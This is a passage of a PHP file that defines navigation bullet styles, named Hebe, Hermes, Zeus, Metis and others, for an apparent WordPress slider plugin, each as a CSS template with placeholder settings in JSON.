transform:translateX(0px) translatey(0px);\n -webkit-transform:translateX(0px) translatey(0px);\n}\n\n\n/* VERTICAL */\n.ares.nav-dir-vertical.nav-pos-hor-left .tp-bullet-title { right:auto; left:27px; transform:translatex(20px); -webkit-transform:translatex(20px);} \n.ares.nav-dir-vertical.nav-pos-hor-left .tp-bullet-title:after { \n border-width: 10px 10px 10px 0 !important;\n border-color: transparent ##title-bg-color## transparent transparent;\n right:auto !important;\n left:-10px !important; \n}\n.ares.nav-dir-vertical.nav-pos-hor-left .tp-bullet.selected.rs-touchhover .tp-bullet-title:after {\n border-color: transparent ##hover-bullet-bg-color## transparent transparent !important;\n}\n\n\n\n/* HORIZONTAL BOTTOM && CENTER */\n.ares.nav-dir-horizontal.nav-pos-ver-center .tp-bullet-title,\n.ares.nav-dir-horizontal.nav-pos-ver-bottom .tp-bullet-title { top:-35px; left:50%; right:auto; transform: translateX(-50%) translateY(-10px);-webkit-transform: translateX(-50%) translateY(-10px); } \n\n.ares.nav-dir-horizontal.nav-pos-ver-center .tp-bullet-title:after,\n.ares.nav-dir-horizontal.nav-pos-ver-bottom .tp-bullet-title:after { \n border-width: 10px 10px 0px 10px;\n border-color: ##title-bg-color## transparent transparent transparent;\n right:auto;\n left:50%;\n margin-left:-10px;\n top:auto;\n bottom:-10px;\n \n}\n.ares.nav-dir-horizontal.nav-pos-ver-center .tp-bullet.selected.rs-touchhover .tp-bullet-title:after,\n.ares.nav-dir-horizontal.nav-pos-ver-bottom .tp-bullet.selected.rs-touchhover .tp-bullet-title:after {\n border-color: ##hover-bullet-bg-color## transparent transparent transparent;\n}\n\n.ares.nav-dir-horizontal.nav-pos-ver-center .tp-bullet.rs-touchhover .tp-bullet-title,\n.ares.nav-dir-horizontal.nav-pos-ver-bottom .tp-bullet.rs-touchhover .tp-bullet-title{\n transform:translateX(-50%) translatey(0px);\n -webkit-transform:translateX(-50%) translatey(0px);\n}\n\n\n/* HORIZONTAL TOP */\n.ares.nav-dir-horizontal.nav-pos-ver-top .tp-bullet-title { top:25px; left:50%; right:auto; transform: translateX(-50%) translateY(10px);-webkit-transform: translateX(-50%) translateY(10px); } \n.ares.nav-dir-horizontal.nav-pos-ver-top .tp-bullet-title:after { \n border-width: 0 10px 10px 10px;\n border-color: transparent transparent ##title-bg-color## transparent;\n right:auto;\n left:50%;\n margin-left:-10px;\n bottom:auto;\n top:-10px;\n \n}\n.ares.nav-dir-horizontal.nav-pos-ver-top .tp-bullet.selected.rs-touchhover .tp-bullet-title:after {\n border-color: transparent transparent ##hover-bullet-bg-color## transparent;\n}\n\n.ares.nav-dir-horizontal.nav-pos-ver-top .tp-bullet.rs-touchhover .tp-bullet-title{\n transform:translateX(-50%) translatey(0px);\n -webkit-transform:translateX(-50%) translatey(0px);\n}\n\n", 'markup' => "{{title}}", 'settings' => '{"dim":{"width":160,"height":160},"placeholders":{"bullet-size":{"title":"Bullet-Size","type":"custom","data":"13"},"bullet-bg-color":{"title":"Bullet-Background","type":"color","data":"#e5e5e5"},"hover-bullet-bg-color":{"title":"Hover-Bullet-BG","type":"color","data":"#ffffff"},"title-color":{"title":"Title-Color","type":"color","data":"#888888"},"title-font-size":{"title":"Title-Font-Size","type":"custom","data":"12"},"title-bg-color":{"title":"Title-BG-Color","type":"color","data":"rgba(255,255,255,0.75)"}},"presets":{},"version":"6.0.0"}', ); $navigations[] = array( 'id' => 3004, 'handle' => 'hebe', 'type' => 'bullets', 'name' => 'Hebe', 'css' => "\n.hebe.tp-bullets:before {\n content:' ';\n position:absolute;\n width:100%;\n height:100%;\n background:transparent;\n padding:10px;\n margin-left:-10px;margin-top:-10px;\n box-sizing:content-box;\n}\n\n.hebe .tp-bullet {\n width:##bullet-back-size##px;\n height:##bullet-back-size##px;\n position:absolute;\n background:##bullet-back-color##; \n cursor: pointer;\n border:##bullet-border-size##px solid ##bullet-border-color##;\n border-radius:##bradius##;\n box-sizing:content-box;\n -webkit-perspective:400;\n perspective:400;\n -webkit-transform:translatez(0.01px);\n transform:translatez(0.01px);\n transition:all ##aspeed##s;\n}\n.hebe .tp-bullet.rs-touchhover,\n.hebe .tp-bullet.selected {\n background:##bullet-border-color##;\n border-color:##bullet-back-color##;\n}\n\n.hebe .tp-bullet-image {\n position:absolute;\n width:##width##px;\n height:##height##px;\n background-position:center center;\n background-size:cover;\n visibility:hidden;\n opacity:0;\n bottom:##bullet-back-size##px;\n transition:all ##aspeed##s;\n -webkit-transform-style:flat;\n transform-style:flat;\n perspective:600;\n -webkit-perspective:600;\n transform: scale(0) translateX(-50%) translateY(0%);\n -webkit-transform: scale(0) translateX(-50%) translateY(0%);\n transform-origin:0% 100%;\n -webkit-transform-origin:0% 100%;\n margin-bottom:15px;\n border-radius:##iradius##px;\n}\n.hebe .tp-bullet.rs-touchhover .tp-bullet-image {\n display:block;\n opacity:1;\n transform: scale(1) translateX(-50%) translateY(0%);\n -webkit-transform: scale(1) translateX(-50%) translateY(0%);\n visibility:visible;\n}\n\n\n/* VERTICAL */\n\n.hebe.nav-dir-vertical .tp-bullet-image {\n bottom:auto;\n margin-right:15px;\n margin-bottom:0px;\n right:##bullet-back-size##px;\n transform: scale(0) translateX(0px) translateY(-50%);\n -webkit-transform: scale(0) translateX(0px) translateY(-50%);\n transform-origin:100% 0%;\n -webkit-transform-origin:100% 0%;\n}\n\n.hebe.nav-dir-vertical .tp-bullet.rs-touchhover .tp-bullet-image {\n transform: scale(1) translateX(0px) translateY(-50%);\n -webkit-transform: scale(1) translateX(0px) translateY(-50%);\n}\n\n/* VERTICAL LEFT */\n\n.hebe.nav-dir-vertical.nav-pos-hor-left .tp-bullet-image {\n bottom:auto;\n margin-left:15px;\n margin-bottom:0px;\n left:##bullet-back-size##px;\n transform: scale(0) translateX(0px) translateY(-50%);\n -webkit-transform: scale(0) translateX(0px) translateY(-50%);\n transform-origin:0% 0%;\n -webkit-transform-origin:0% 0%;\n}\n\n.hebe.nav-dir-vertical.nav-pos-hor-left .tp-bullet.rs-touchhover .tp-bullet-image {\n transform: scale(1) translateX(0px) translateY(-50%);\n -webkit-transform: scale(1) translateX(0px) translateY(-50%);\n}\n\n/* HORIZONTAL TOP */\n.hebe.nav-pos-ver-top.nav-dir-horizontal .tp-bullet-image {\n bottom:auto;\n top:##bullet-back-size##px;\n transform: scale(0) translateX(-50%) translateY(0%);\n -webkit-transform: scale(0) translateX(-50%) translateY(0%);\n transform-origin:0% 0%;\n -webkit-transform-origin:0% 0%;\n margin-top:15px;\n margin-bottom:0px; \n}\n.hebe.nav-pos-ver-top.nav-dir-horizontal .tp-bullet.rs-touchhover .tp-bullet-image {\n transform: scale(1) translateX(-50%) translateY(0%);\n -webkit-transform: scale(1) translateX(-50%) translateY(0%);\n}", 'markup' => "", 'settings' => '{"dim":{"width":160,"height":160},"placeholders":{"bullet-back-color":{"title":"Bullet-Background","type":"color","data":"#ffffff"},"bullet-border-color":{"title":"Bullet-Border-Color","type":"color","data":"#000000"},"bullet-border-size":{"title":"Bullet-Border-Size","type":"custom","data":"5"},"bullet-back-size":{"title":"Bullet-BG-Size","type":"custom","data":"3"},"width":{"title":"Image-Width","type":"custom","data":"70"},"height":{"title":"Image-Height","type":"custom","data":"70"},"iradius":{"title":"Image-Radius","type":"custom","data":"6"},"bradius":{"title":"Bullet-Radius","type":"custom","data":"50%"},"aspeed":{"title":"Animation-Speed","type":"custom","data":"0.3"}},"presets":{},"version":"6.0.0"}', ); $navigations[] = array( 'id' => 3005, 'handle' => 'hermes', 'type' => 'bullets', 'name' => 'Hermes', 'css' => ".hermes.tp-bullets {\n}\n\n.hermes .tp-bullet {\n overflow:hidden;\n border-radius:50%;\n width:##bullet-size##px;\n height:##bullet-size##px;\n background-color: rgba(0, 0, 0, 0);\n box-shadow: inset 0 0 0 ##border##px ##bullet-color##;\n -webkit-transition: background 0.3s ease;\n transition: background 0.3s ease;\n position:absolute;\n}\n\n.hermes .tp-bullet.rs-touchhover {\n\t background-color: ##bullet-hover##;\n}\n.hermes .tp-bullet:after {\n content: ' ';\n position: absolute;\n bottom: 0;\n height: 0;\n left: 0;\n width: 100%;\n background-color: ##bullet-color##;\n box-shadow: 0 0 1px ##bullet-color##;\n -webkit-transition: height 0.3s ease;\n transition: height 0.3s ease;\n}\n.hermes .tp-bullet.selected:after {\n height:100%;\n}\n", 'markup' => "", 'settings' => '{"dim":{"width":"160","height":"160"},"placeholders":{"bullet-size":{"title":"Bullet-Size","type":"custom","data":"16"},"bullet-color":{"title":"Bullet-Color","type":"color","data":"#ffffff"},"border":{"title":"Border-Thickness","type":"custom","data":"2"},"bullet-hover":{"title":"Hover-Bullet","type":"color","data":"rgba(0,0,0,0.21)"}},"presets":{},"version":"6.0.0"}', ); $navigations[] = array( 'id' => 3006, 'handle' => 'custom', 'type' => 'bullets', 'name' => 'Custom', 'css' => ".custom.tp-bullets {\n}\n.custom.tp-bullets:before {\n\tcontent:' ';\n\tposition:absolute;\n\twidth:100%;\n\theight:100%;\n\tbackground:transparent;\n\tpadding:10px;\n\tmargin-left:-10px;margin-top:-10px;\n\tbox-sizing:content-box;\n}\n.custom .tp-bullet {\n\twidth:12px;\n\theight:12px;\n\tposition:absolute;\n\tbackground:#aaa;\n background:rgba(125,125,125,0.5);\n\tcursor: pointer;\n\tbox-sizing:content-box;\n}\n.custom .tp-bullet.rs-touchhover,\n.custom .tp-bullet.selected {\n\tbackground:rgb(125,125,125);\n}\n.custom .tp-bullet-image {\n}\n.custom .tp-bullet-title {\n}\n", 'markup' => "", 'settings' => '{"dim":{"width":160,"height":160},"placeholders":{},"presets":{},"version":"6.0.0"}', ); $navigations[] = array( 'id' => 3007, 'handle' => 'hephaistos', 'type' => 'bullets', 'name' => 'Hephaistos', 'css' => ".hephaistos .tp-bullet {\n\twidth:##bullet-size##px;\n\theight:##bullet-size##px;\n\tposition:absolute;\n\tbackground:##back-color##;\n\tborder:##border-size##px solid ##border-color##;\n\tborder-radius:50%;\n\tcursor: pointer;\n\tbox-sizing:content-box;\n box-shadow: 0px 0px 2px 1px rgba(130,130,130, 0.3);\n}\n.hephaistos .tp-bullet.rs-touchhover,\n.hephaistos .tp-bullet.selected {\n\tbackground:##back-hover-color##;\n border-color:##border-hover-color##;\n}", 'markup' => "", 'settings' => '{"dim":{"width":"161","height":"159"},"placeholders":{"bullet-size":{"title":"Bullet-Size","type":"custom","data":"12"},"back-color":{"title":"Background","type":"color","data":"#999999"},"border-color":{"title":"Border-Color","type":"color","data":"rgba(255,255,255,0.9)"},"border-size":{"title":"Border-Size","type":"custom","data":"3"},"back-hover-color":{"title":"Hover-Background","type":"color","data":"#ffffff"},"border-hover-color":{"title":"Hover-Border","type":"color","data":"#000000"}},"presets":{},"version":"6.0.0"}', ); $navigations[] = array( 'id' => 3008, 'handle' => 'persephone', 'type' => 'bullets', 'name' => 'Persephone', 'css' => ".persephone .tp-bullet {\n\twidth:##bullet-size##px;\n\theight:##bullet-size##px;\n\tposition:absolute;\n\tbackground:##back-color##;\n\tborder:1px solid ##border-color##;\t\n\tcursor: pointer;\n\tbox-sizing:content-box;\n}\n.persephone .tp-bullet.rs-touchhover,\n.persephone .tp-bullet.selected {\n\tbackground:##back-hover##;\n}\n\n", 'markup' => "", 'settings' => '{"dim":{"width":160,"height":160},"placeholders":{"bullet-size":{"title":"Bullet-Size","type":"custom","data":"12"},"back-color":{"title":"Background","type":"color","data":"#aaaaaa"},"border-color":{"title":"Border-Color","type":"color","data":"#e5e5e5"},"back-hover":{"title":"Hover-Background","type":"color","data":"#000000"}},"presets":{},"version":"6.0.0"}', ); $navigations[] = array( 'id' => 3009, 'handle' => 'erinyen', 'type' => 'bullets', 'name' => 'Erinyen', 'css' => ".erinyen.tp-bullets {\n}\n.erinyen.tp-bullets:before {\n\tcontent:' ';\n\tposition:absolute;\n\twidth:100%;\n\theight:100%;\n background: -moz-linear-gradient(top, ##back-top## 0%, ##back-bottom## 100%); /* ff3.6+ */\n background: -webkit-linear-gradient(top, ##back-top## 0%,##back-bottom## 100%); /* chrome10+,safari5.1+ */\n background: -o-linear-gradient(top, ##back-top## 0%,##back-bottom## 100%); /* opera 11.10+ */\n background: -ms-linear-gradient(top, ##back-top## 0%,##back-bottom## 100%); /* ie10+ */\n background: linear-gradient(to bottom, ##back-top## 0%,##back-bottom## 100%); /* w3c */\n\n\tpadding:10px 15px;\n\tmargin-left:-15px;margin-top:-10px;\n\tbox-sizing:content-box;\n border-radius:10px;\n box-shadow:0px 0px 2px 1px rgba(33,33,33,0.3);\n}\n.erinyen .tp-bullet {\n\twidth:##bullet-size##px;\n\theight:##bullet-size##px;\n\tposition:absolute;\n\tbackground:##bullet-back##;\t\n\tborder-radius:50%;\n\tcursor: pointer;\n\tbox-sizing:content-box;\n}\n.erinyen .tp-bullet.rs-touchhover,\n.erinyen .tp-bullet.selected {\nbackground: -moz-linear-gradient(top, ##bullet-top## 0%, ##bullet-bottom## 100%); /* ff3.6+ */\nbackground: -webkit-linear-gradient(top, ##bullet-top## 0%,##bullet-bottom## 100%); /* chrome10+,safari5.1+ */\nbackground: -o-linear-gradient(top, ##bullet-top## 0%,##bullet-bottom## 100%); /* opera 11.10+ */\nbackground: -ms-linear-gradient(top, ##bullet-top## 0%,##bullet-bottom## 100%); /* ie10+ */\nbackground: linear-gradient(to bottom, ##bullet-top## 0%,##bullet-bottom## 100%); /* w3c */\nborder:1px solid #555;\nwidth:##bullet-size##px;\nheight:##bullet-size##px;\n}\n\n", 'markup' => "", 'settings' => '{"dim":{"width":"160","height":"160"},"placeholders":{"back-top":{"title":"BG-Top","type":"color","data":"#545353"},"back-bottom":{"title":"BG-Bottom","type":"color","data":"#222222"},"bullet-top":{"title":"Bullet-BG-Top","type":"color","data":"#e5e5e5"},"bullet-bottom":{"title":"Bullet-BG-Bottom","type":"color","data":"#999999"},"bullet-back":{"title":"Bullet-BG","type":"color","data":"#111111"},"bullet-size":{"title":"Bullet-Size","type":"custom","data":"13"}},"presets":{},"version":"6.0.0"}', ); $navigations[] = array( 'id' => 3010, 'handle' => 'zeus', 'type' => 'bullets', 'name' => 'Zeus', 'css' => ".zeus .tp-bullet {\n box-sizing:content-box; -webkit-box-sizing:content-box; border-radius:50%;\n background-color: rgba(0, 0, 0, 0);\n -webkit-transition: opacity 0.3s ease;\n transition: opacity 0.3s ease;\n width:##size##px;height:##size##px;\n border:2px solid ##color##;\n }\n.zeus .tp-bullet:after {\n content: '';\n position: absolute;\n width: 100%;\n height: 100%;\n left: 0;\n border-radius: 50%;\n background-color: ##color##;\n -webkit-transform: scale(0);\n transform: scale(0);\n -webkit-transform-origin: 50% 50%;\n transform-origin: 50% 50%;\n -webkit-transition: -webkit-transform 0.3s ease;\n transition: transform 0.3s ease;\n}\n.zeus .tp-bullet.rs-touchhover:after,\n.zeus .tp-bullet.selected:after{\n -webkit-transform: scale(1.2);\n transform: scale(1.2);\n}\n \n .zeus .tp-bullet-image,\n .zeus .tp-bullet-imageoverlay{\n width:##img-width##px;\n height:##img-height##px;\n position:absolute;\n background:#000;\n background:rgba(0,0,0,0.5);\n bottom:##size##px;\n margin-bottom:10px;\n transform:translateX(-50%);\n -webkit-transform:translateX(-50%);\n box-sizing:border-box;\n background-size:cover;\n background-position:center center;\n visibility:hidden;\n opacity:0;\n -webkit-backface-visibility: hidden; \n backface-visibility: hidden;\n -webkit-transform-origin: 50% 50%;\n transform-origin: 50% 50%;\n -webkit-transition: all 0.3s ease;\n transition: all 0.3s ease;\n border-radius:4px;\n}\n \n\n.zeus .tp-bullet-title,\n.zeus .tp-bullet-imageoverlay {\n z-index:2;\n -webkit-transition: all 0.5s ease;\n transition: all 0.5s ease;\n transform:translateX(-50%);\n -webkit-transform:translateX(-50%);\n} \n.zeus .tp-bullet-title { \n color:##title-color##;\n text-align:center;\n line-height:##title-line-height##px;\n font-size:##title-font-size##px;\n font-weight:600; \n z-index:3;\n visibility:hidden;\n opacity:0;\n -webkit-backface-visibility: hidden; \n backface-visibility: hidden;\n -webkit-transform-origin: 50% 50%;\n transform-origin: 50% 50%;\n -webkit-transition: all 0.3s ease;\n transition: all 0.3s ease;\n position:absolute;\n bottom:##tooltip-bottom##px;\n width:##img-width##px;\n vertical-align:middle;\n \n}\n \n.zeus .tp-bullet.rs-touchhover .tp-bullet-title,\n.zeus .tp-bullet.rs-touchhover .tp-bullet-image,\n.zeus .tp-bullet.rs-touchhover .tp-bullet-imageoverlay{\n opacity:1;\n visibility:visible;\n -webkit-transform:translateY(0px) translateX(-50%);\n transform:translateY(0px) translateX(-50%); \n }\n\n\n\n\n/* VERTICAL RIGHT */\n\n.zeus.nav-dir-vertical .tp-bullet-image,\n.zeus.nav-dir-vertical .tp-bullet-imageoverlay{\n bottom:auto;\n margin-right:10px;\n margin-bottom:0px;\n right:##size##px;\n transform: translateX(0px) translateY(-50%);\n -webkit-transform: translateX(0px) translateY(-50%);\n \n}\n\n.zeus.nav-dir-vertical .tp-bullet.rs-touchhover .tp-bullet-image {\n transform: translateX(0px) translateY(-50%);\n -webkit-transform: translateX(0px) translateY(-50%);\n}\n\n\n.zeus.nav-dir-vertical .tp-bullet-title,\n.zeus.nav-dir-vertical .tp-bullet-imageoverlay {\n z-index:2;\n -webkit-transition: all 0.5s ease;\n transition: all 0.5s ease;\n transform: translateX(0px) translateY(-50%);\n -webkit-transform: translateX(0px) translateY(-50%);\n} \n\n\n.zeus.nav-dir-vertical .tp-bullet-title {\n bottom:auto;\n right:100%;\n margin-right:10px;\n}\n\n.zeus.nav-dir-vertical .tp-bullet.rs-touchhover .tp-bullet-title,\n.zeus.nav-dir-vertical .tp-bullet.rs-touchhover .tp-bullet-image,\n.zeus.nav-dir-vertical .tp-bullet.rs-touchhover .tp-bullet-imageoverlay {\n transform: translateX(0px) translateY(-50%);\n -webkit-transform: translateX(0px) translateY(-50%);\n}\n\n\n\n/* VERTICAL LEFT */\n\n.zeus.nav-dir-vertical.nav-pos-hor-left .tp-bullet-image,\n.zeus.nav-dir-vertical.nav-pos-hor-left .tp-bullet-imageoverlay{\n bottom:auto;\n margin-left:10px;\n margin-bottom:0px;\n left:##size##px;\n transform: translateX(0px) translateY(-50%);\n -webkit-transform: translateX(0px) translateY(-50%);\n \n}\n\n.zeus.nav-dir-vertical.nav-pos-hor-left .tp-bullet.rs-touchhover .tp-bullet-image {\n transform: translateX(0px) translateY(-50%);\n -webkit-transform: translateX(0px) translateY(-50%);\n}\n\n.zeus.nav-dir-vertical.nav-pos-hor-left .tp-bullet-title,\n.zeus.nav-dir-vertical.nav-pos-hor-left .tp-bullet-imageoverlay {\n z-index:2;\n -webkit-transition: all 0.5s ease;\n transition: all 0.5s ease;\n transform:translateX(0px) translateY(-50%);\n -webkit-transform:translateX(0px) translateY(-50%);\n} \n\n\n.zeus.nav-dir-vertical.nav-pos-hor-left .tp-bullet-title {\n bottom:auto;\n left:100%;\n margin-left:10px;\n}\n\n/* HORIZONTAL TOP */\n\n.zeus.nav-dir-horizontal.nav-pos-ver-top .tp-bullet-image,\n.zeus.nav-dir-horizontal.nav-pos-ver-top .tp-bullet-imageoverlay{\n bottom:auto;\n top:##size##px;\n margin-top:10px;\n margin-bottom:0px;\n left:0px;\n transform:translateY(0px) translateX(-50%);\n -webkit-transform:translateX(0px) translateX(-50%);\n \n}\n\n.zeus.nav-dir-horizontal.nav-pos-ver-top .tp-bullet.rs-touchhover .tp-bullet-image {\n \n transform: scale(1) translateY(0px) translateX(-50%);\n -webkit-transform: scale(1) translateY(0px) translateX(-50%);\n \n}\n\n.zeus.nav-dir-horizontal.nav-pos-ver-top .tp-bullet-title,\n.zeus.nav-dir-horizontal.nav-pos-ver-top .tp-bullet-imageoverlay {\n z-index:2;\n -webkit-transition: all 0.5s ease;\n transition: all 0.5s ease;\n transform:translateY(0px) translateX(-50%);\n -webkit-transform:translateY(0px) translateX(-50%);\n} \n\n\n.zeus.nav-dir-horizontal.nav-pos-ver-top .tp-bullet-title {\n bottom:auto;\n top:##size##px;\n margin-top:20px;\n}\n", 'markup' => "\n\n{{title}}", 'settings' => '{"dim":{"width":"160","height":"160"},"placeholders":{"color":{"title":"Bullet-Color","type":"color","data":"#ffffff"},"size":{"title":"Bullet-Size","type":"custom","data":"13"},"img-width":{"title":"Image-Width","type":"custom","data":"135"},"img-height":{"title":"Image-Height","type":"custom","data":"60"},"title-color":{"title":"Tooltip-Title-Color","type":"color","data":"#ffffff"},"tooltip-bottom":{"title":"Tooltip-Bottom","type":"custom","data":"45"},"title-font-size":{"title":"Title-Font-Size","type":"custom","data":"13"},"title-line-height":{"title":"Title-Line-Height","type":"custom","data":"15"}},"presets":{},"version":"6.0.0"}', ); $navigations[] = array( 'id' => 3011, 'handle' => 'metis', 'type' => 'bullets', 'name' => 'Metis', 'css' => ".metis .tp-bullet { \n opacity:1;\n width:##size##px;\n height:##size##px; \n padding:##border-width##px;\n background-color:##idlecolor##;\n margin:0px;\n box-sizing:border-box;\n transition:all 0.3s;\n -webkit-transition:all 0.3s;\n border-radius:50%;\n }\n\n.metis .tp-bullet-image {\n\n border-radius:50%;\n display:block;\n box-sizing:border-box;\n position:relative;\n -webkit-box-shadow: inset 5px 5px 10px 0px rgba(0,0,0,0.25);\n -moz-box-shadow: inset 5px 5px 10px 0px rgba(0,0,0,0.25);\n box-shadow: inset 5px 5px 10px 0px rgba(0,0,0,0.25);\n width:100%;\n height:100%;\n background-size:cover;\n background-position:center center;\n } \n.metis .tp-bullet-title { \n position:absolute; \n bottom:##size##px;\n margin-bottom:10px;\n display:inline-block;\n left:50%;\n background:#000;\n background:##idlecolor-title##;\n color:##tooltip-color##;\n padding:10px 30px;\n border-radius:4px;\n -webkit-border-radius:4px;\n opacity:0;\n transition:all 0.3s;\n -webkit-transition:all 0.3s;\n transform: translatez(0.001px) translatex(-50%) translatey(14px);\n transform-origin:50% 100%;\n -webkit-transform: translatez(0.001px) translatex(-50%) translatey(14px);\n -webkit-transform-origin:50% 100%;\n opacity:0;\n white-space:nowrap;\n }\n\n.metis .tp-bullet.rs-touchhover .tp-bullet-title {\n transform:rotatex(0deg) translatex(-50%);\n -webkit-transform:rotatex(0deg) translatex(-50%);\n opacity:1;\n}\n\n.metis .tp-bullet.selected,\n.metis .tp-bullet.rs-touchhover {\nbackground: -moz-linear-gradient(top, ##hovercolor## 0%, ##hbgb## 100%);\nbackground: -webkit-gradient(left top, left bottom, color-stop(0%, ##hovercolor##, color-stop(100%, ##hbgb##)));\nbackground: -webkit-linear-gradient(top, ##hovercolor## 0%, ##hbgb## 100%);\nbackground: -o-linear-gradient(top, ##hovercolor## 0%, ##hbgb## 100%);\nbackground: -ms-linear-gradient(top, ##hovercolor## 0%, ##hbgb## 100%);\nbackground: linear-gradient(to bottom, ##hovercolor## 0%, ##hbgb## 100%);\n }\n.metis .tp-bullet-title:after {\n content:' ';\n position:absolute;\n left:50%;\n margin-left:-8px;\n width: 0;\n height: 0;\n border-style: solid;\n border-width: 8px 8px 0 8px;\n border-color: ##idlecolor-title## transparent transparent transparent;\n bottom:-8px;\n }\n\n\n\n/* VERTICAL RIGHT */\n.metis.nav-dir-vertical.nav-pos-hor-right .tp-bullet-title { \n margin-bottom:0px; top:50%; right:##size##px; left:auto; bottom:auto; margin-right:10px; transform: translateX(-10px) translateY(-50%);-webkit-transform: translateX(-10px) translateY(-50%); \n} \n.metis.nav-dir-vertical.nav-pos-hor-right .tp-bullet-title:after { \n border-width: 10px 0 10px 10px;\n border-color: transparent transparent transparent ##idlecolor-title## ;\n right:-10px;\n left:auto; \n bottom:auto;\n top:10px; \n}\n\n\n.metis.nav-dir-vertical.nav-pos-hor-right .tp-bullet.rs-touchhover .tp-bullet-title{\n transform:translateY(-50%) translateX(0px);\n -webkit-transform:translateY(-50%) translateX(0px);\n}\n\n/* VERTICAL LEFT && CENTER*/\n.metis.nav-dir-vertical.nav-pos-hor-left .tp-bullet-title,\n.metis.nav-dir-vertical.nav-pos-hor-center .tp-bullet-title { \n margin-bottom:0px; top:50%; left:##size##px; right:auto; bottom:auto; margin-left:10px; transform: translateX(10px) translateY(-50%);-webkit-transform: translateX(10px) translateY(-50%); \n} \n.metis.nav-dir-vertical.nav-pos-hor-left .tp-bullet-title:after,\n.metis.nav-dir-vertical.nav-pos-hor-center .tp-bullet-title:after { \n border-width: 10px 10px 10px 0;\n border-color: transparent ##idlecolor-title## transparent transparent ;\n left:-2px;\n right:auto; \n bottom:auto;\n top:10px; \n}\n\n\n.metis.nav-dir-vertical.nav-pos-hor-left .tp-bullet.rs-touchhover .tp-bullet-title,\n.metis.nav-dir-vertical.nav-pos-hor-center .tp-bullet.rs-touchhover .tp-bullet-title{\n transform:translateY(-50%) translateX(0px);\n -webkit-transform:translateY(-50%) translateX(0px);\n}\n\n\n/* HORIZONTAL TOP */\n.metis.nav-dir-horizontal.nav-pos-ver-top .tp-bullet-title { \n margin-bottom:0px; top:##size##px; left:50%; bottom:auto; margin-top:10px; right:auto; transform: translateX(-50%) translateY(10px);-webkit-transform: translateX(-50%) translateY(10px); \n} \n.metis.nav-dir-horizontal.nav-pos-ver-top .tp-bullet-title:after { \n border-width: 0 10px 10px 10px;\n border-color: transparent transparent ##idlecolor-title## transparent;\n right:auto;\n left:50%;\n margin-left:-10px;\n bottom:auto;\n top:-10px;\n \n}\n\n\n.metis.nav-dir-horizontal.nav-pos-ver-top .tp-bullet.rs-touchhover .tp-bullet-title{\n transform:translateX(-50%) translatey(0px);\n -webkit-transform:translateX(-50%) translatey(0px);\n}\n\n", 'markup' => "\n \n\n{{title}}", 'settings' => '{"dim":{"width":"160","height":"160"},"placeholders":{"size":{"title":"Size","type":"custom","data":"50"},"border-width":{"title":"Border-Width","type":"custom","data":"3"},"tooltip-color":{"title":"Tooltip-Color","type":"color","data":"#ffffff"},"idlecolor":{"title":"Idle-Color","type":"color","data":"rgba(0,0,0,0.25)"},"idlecolor-title":{"title":"Idle-Color-Title","type":"color","data":"rgba(0,0,0,0.75)"},"hovercolor":{"title":"Hover-BG-Top","type":"color","data":"#ffffff"},"hbgb":{"title":"Hover-BG-Bottom","type":"color","data":"#777777"}},"presets":{},"version":"6.0.0"}', ); $navigations[] = array( 'id' => 3012, 'handle' => 'dione', 'type' => 'bullets', 'name' => 'Dione', 'css' => "\n.dione .tp-bullet { \n opacity:1;\n width:##size##px;\n height:##size##px; \n padding:##border-size##px;\n background-color:##idlecolor##;\n margin:0px;\n box-sizing:border-box;\n transition:all 0.3s;\n -webkit-transition:all 0.3s;\n }\n\n.dione .tp-bullet-image {\n display:block;\n box-sizing:border-box;\n position:relative;\n -webkit-box-shadow: inset 5px 5px 10px 0px rgba(0,0,0,0.25);\n -moz-box-shadow: inset 5px 5px 10px 0px rgba(0,0,0,0.25);\n box-shadow: inset 5px 5px 10px 0px rgba(0,0,0,0.25);\n width:100%;\n height:100%;\n background-size:cover;\n background-position:center center;\n } \n.dione .tp-bullet-title { \n position:absolute; \n font-size:13px; \n line-height:18px; \n bottom:##tooltip-offset##px;\n display:inline-block;\n left:50%;\n background:##idlecolor-title##;\n color:##tooltip-color##;\n padding:10px 30px;\n border-radius:4px;\n -webkit-border-radius:4px;\n opacity:0;\n transition:all 0.3s;\n -webkit-transition:all 0.3s;\n transform: translatez(0.001px) translatex(-50%) translatey(14px);\n transform-origin:50% 100%;\n -webkit-transform: translatez(0.001px) translatex(-50%) translatey(14px);\n -webkit-transform-origin:50% 100%;\n opacity:0;\n white-space:nowrap;\n }\n\n.dione .tp-bullet.rs-touchhover .tp-bullet-title {\n transform:rotatex(0deg) translatex(-50%);\n -webkit-transform:rotatex(0deg) translatex(-50%);\n opacity:1;\n}\n\n.dione .tp-bullet.selected,\n.dione .tp-bullet.rs-touchhover {\n background: -moz-linear-gradient(top, ##hovercolor## 0%, ##hbgb## 100%);\nbackground: -webkit-gradient(left top, left bottom, color-stop(0%, ##hovercolor##, color-stop(100%, ##hbgb##)));\nbackground: -webkit-linear-gradient(top, ##hovercolor## 0%, ##hbgb## 100%);\nbackground: -o-linear-gradient(top, ##hovercolor## 0%, ##hbgb## 100%);\nbackground: -ms-linear-gradient(top, ##hovercolor## 0%, ##hbgb## 100%);\nbackground: linear-gradient(to bottom, ##hovercolor## 0%, ##hbgb## 100%);\n}\n.dione .tp-bullet-title:after {\n content:' ';\n position:absolute;\n left:50%;\n margin-left:-8px;\n width: 0;\n height: 0;\n border-style: solid;\n border-width: 8px 8px 0 8px;\n border-color: ##idlecolor-title## transparent transparent transparent;\n bottom:-8px;\n }\n\n\n/* VERTICAL RIGHT */\n.dione.nav-dir-vertical.nav-pos-hor-right .tp-bullet-title { \n top:50%; right:##size##px; left:auto; bottom:auto; margin-right:10px; transform: translateX(-10px) translateY(-50%);-webkit-transform: translateX(-10px) translateY(-50%); \n} \n.dione.nav-dir-vertical.nav-pos-hor-right .tp-bullet-title:after { \n border-width: 10px 0 10px 10px;\n border-color: transparent transparent transparent ##idlecolor-title## ;\n right:-10px;\n left:auto; \n bottom:auto;\n top:10px; \n}\n\n\n.dione.nav-dir-vertical.nav-pos-hor-right .tp-bullet.rs-touchhover .tp-bullet-title{\n transform:translateY(-50%) translateX(0px);\n -webkit-transform:translateY(-50%) translateX(0px);\n}\n\n/* VERTICAL LEFT && CENTER*/\n.dione.nav-dir-vertical.nav-pos-hor-left .tp-bullet-title,\n.dione.nav-dir-vertical.nav-pos-hor-center .tp-bullet-title { \n top:50%; left:##size##px; right:auto; bottom:auto; margin-left:10px; transform: translateX(10px) translateY(-50%);-webkit-transform: translateX(10px) translateY(-50%); \n} \n.dione.nav-dir-vertical.nav-pos-hor-left .tp-bullet-title:after,\n.dione.nav-dir-vertical.nav-pos-hor-center 